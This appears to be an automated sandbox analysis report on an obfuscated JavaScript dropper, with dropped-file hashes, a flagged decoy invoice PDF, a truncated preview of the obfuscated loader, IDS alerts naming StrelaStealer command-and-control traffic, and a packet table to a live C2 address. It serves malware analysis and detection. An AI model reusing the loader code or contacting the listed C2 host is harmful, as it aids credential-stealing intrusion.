Preview:	...........[l\[.......p.a$..$.K...&%J.J...Wuo..dI.vk4.E..P.u..(.....1.I....A...............0.....$ctg.H.'....@.Zk...~.s.A]M.A..:g?.^{...cjL...X..#.Q{......z...m...K.U]-..^V.........@..P...U.R..z.......?......]nG..O{..n........y...v7...~C#..O.z...:...H&..6M;........c..#.y4u.~6.?...V?.%?SW.....K...[..`N.i.1..:..@?i.Q..O...`.....m.!y.{...?=.. .....Zk......%.6......o<.....yA}......no......u,.....U...a.......[S.n..`.....:...1......X..u.u...`..B=.&M.y..s.....}.i..l.'u]. ...6.s`....zdN.F.>;.d%D..}3..b..~..k.......,hl.j..._...F..p.z..o...C..,.Ss.u.Xd..a.Y.{.p...?.k..t,&..'...........^.f.hg....y..Y...i..m....<..^......yK.......;.5...E...K..Q.;k..\|;..B.{m..eS..>b..>...6...wmC.i.....wv..k..{..X...RB.P..?w......1l.H..{{.`g.P.8.Z..v_.G.....f.%+z.....p.P..u}.T.....~r]..W7..._..c.k.....@....y.K...uOSj........^....B..]..~{..;...c....r.J.m.S.}.....k....u*^...5./...{......3.I.p.t...V..........W-..\|.K.N.....n.........Bl...#)..;..4.x.....'....A....x..

C:\Users\user\AppData\Local\Temp\acrocef_low\4c4b2857-d52e-4c69-a12b-c4c30100f7ed.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\8304a1b9-b9c5-45b1-a812-d51b0e170123.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/nZwYIGNPgeWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:fZwZG/WLxYGZN3mlind9i4ufFXpAXkru
MD5:	1F3D69524A9D7E17BD2363C81D130F1A
SHA1:	C2A4A08839CBA47BEE2B601975F7C4F0CC191091
SHA-256:	D0FFBEC8502A0BE88A99F6708987658FEBE4CF3B6B79AF219C53EFF6458F9D9D
SHA-512:	A4CBE7073A7CB4C5E33E1CD903CCD7F24B78A04C037BFA1D90D9A5BBD12AF60E3DFFD6546277D1B765CA1DAC1CDA28D24D3454C81952B72D97CAF84DF395E99A
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15628), with CRLF line terminators
Entropy (8bit):	4.917309393434038
TrID:
File name:	16001220953190821144.js
File size:	19'056 bytes
MD5:	3acc9d9ba3715ffe1f5da179a9364950
SHA1:	ac13d8380f83b5b89cf489ba6b32804bedd10bdd
SHA256:	71b76dfabc02bae85d341e803f3ee0a24dcaa70392f79e50de3f0bfbb66fea26
SHA512:	fbfef464955a3e61c879e26582aa5f7c1fd46d4e27b99658114c4c70519712213f215ea063eeba82033922f4525126ed18c7b8455d9f2401fa057d2161e58efe
SSDEEP:	384:i7hSiiuX7Tae0uNGsaxSAH16Ox6Qp8OIIVXuOaAdojHLZ6JffocBkzRj:TXuOaAdojH9K3i
TLSH:	A88245E0D207B62949E9117415DEE8C53B9902DDEAED64CD064366EA3F13B2CC5EA338
File Content Preview:	function dpufrgew(){eyvjgxs=[1031,3079,5127,4103,2055,3072];var dbjppsg=this[ykpeaw+hfvjv+sxlvmxcl+lrjltnpif+fkwvqek+veruo+opfkbyc+wrgkrqq](this[uujdr+yrozutbfu+utwnq+sxlvmxcl+htuvj+ykpeaw+wrgkrqq][tiulwoda+sxlvmxcl+fkwvqek+hfvjv+wrgkrqq+fkwvqek+istyuz+oj

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T05:48:18.611043+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49706	193.143.1.205	80	TCP
2025-01-11T05:48:18.611043+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49706	193.143.1.205	80	TCP
2025-01-11T05:48:21.134445+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49707	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:48:17.826726913 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:17.831572056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:17.831645966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:17.834593058 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:17.839431047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.610977888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.610999107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.611042976 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.611082077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.611093044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.611136913 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.611171961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.611185074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.611203909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.611218929 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.611387014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.611397982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.611418009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.611428022 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.611462116 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.615816116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.653697014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.653712988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.653769970 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.696686983 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.736202002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.736222982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.736251116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.736283064 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.736295938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.736366987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.736398935 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.736577988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.736589909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.736628056 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.736782074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.736793995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.736813068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.736829042 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.736860991 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.737166882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.737198114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.737209082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.737246990 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.737337112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.737349033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.737387896 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.738065958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.738076925 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.738094091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.738111973 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.738137960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.738197088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.738209009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.738255024 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.738845110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.738959074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.738967896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.739008904 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.785356045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.785372972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.785402060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.785410881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.785422087 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.785465956 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.822952032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.861371994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.861386061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.861408949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.861422062 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.861432076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.861453056 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.861478090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.861488104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.861526966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.861603975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.861614943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.861660957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.862103939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.862114906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.862137079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.862145901 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.862174988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.862380981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.862391949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.862411976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.862431049 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.862457037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.862467051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.862487078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.862497091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.862590075 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.862590075 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.863181114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.863192081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.863200903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.863233089 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.863260031 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.863277912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.863289118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.863305092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.863326073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.863327980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.863368988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.863513947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.864069939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.864094019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.864104986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.864114046 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.864146948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.864285946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.864296913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.864320993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.864331007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.864337921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.864339113 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.864372969 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.865044117 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.865086079 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.865139008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.865149975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.865168095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.865189075 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.865279913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.865291119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.865309954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.865319967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.865320921 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.865375042 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.872191906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.872203112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.872242928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.872291088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.872303009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.872337103 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.903990984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.904002905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.904074907 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.909759045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.909805059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.909816980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.909888983 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.911472082 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.948237896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.948251963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.948373079 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.986700058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.986715078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.986737013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.986761093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.986776114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.986838102 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.986881018 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.986896038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.986941099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.986942053 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.986952066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.986998081 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.987037897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.987150908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.987165928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.987179995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.987193108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.987195969 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.987224102 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.987823963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.987890005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.987901926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.987919092 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.987955093 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.988078117 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.988090038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.988106966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.988131046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.988151073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.988203049 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.988291025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.988888025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.988905907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.988934994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.988940954 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.988974094 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.989044905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.989059925 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.989089012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.989109993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.989118099 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.989147902 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.989160061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.989871025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.989890099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.989914894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.989919901 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.989957094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.989958048 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.989975929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.989999056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.990019083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.990024090 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.990061045 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.990180969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.990768909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.990818024 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.990868092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.990884066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.990919113 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.990946054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.990967035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.990987062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.991008997 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.991149902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.991169930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.991194963 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.991699934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.991729975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.991751909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.991754055 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.991791010 CET	49706	80	192.168.2.8	193.143.1.205
